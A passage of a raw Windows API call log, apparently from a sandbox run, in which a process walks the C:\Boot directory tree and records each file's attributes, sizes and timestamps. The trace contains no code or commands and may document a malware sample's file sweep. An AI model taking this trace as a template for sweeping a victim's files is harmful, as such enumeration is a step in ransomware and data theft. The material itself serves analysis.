ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.708] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.708] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.708] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.708] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.708] GetProcessHeap () returned 0x550000 [0194.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.708] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0194.708] GetProcessHeap () returned 0x550000 [0194.708] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.709] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.709] GetProcessHeap () returned 0x550000 [0194.709] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0194.709] GetProcessHeap () returned 0x550000 [0194.709] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0194.710] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.710] GetProcessHeap () returned 0x550000 [0194.710] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0194.710] GetProcessHeap () returned 0x550000 [0194.710] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.710] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.710] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.710] GetProcessHeap () returned 0x550000 [0194.710] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.710] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0194.711] GetProcessHeap () returned 0x550000 [0194.711] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.711] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.711] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.711] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.711] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.711] GetProcessHeap () returned 0x550000 [0194.711] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.711] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0194.711] GetProcessHeap () returned 0x550000 [0194.711] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.711] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.711] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.711] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.711] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.712] GetProcessHeap () returned 0x550000 [0194.712] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.712] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0194.712] GetProcessHeap () returned 0x550000 [0194.712] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.712] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.712] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.712] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.712] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.712] GetProcessHeap () returned 0x550000 [0194.712] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.712] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0194.713] GetProcessHeap () returned 0x550000 [0194.713] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.713] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.713] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.713] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.713] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.713] GetProcessHeap () returned 0x550000 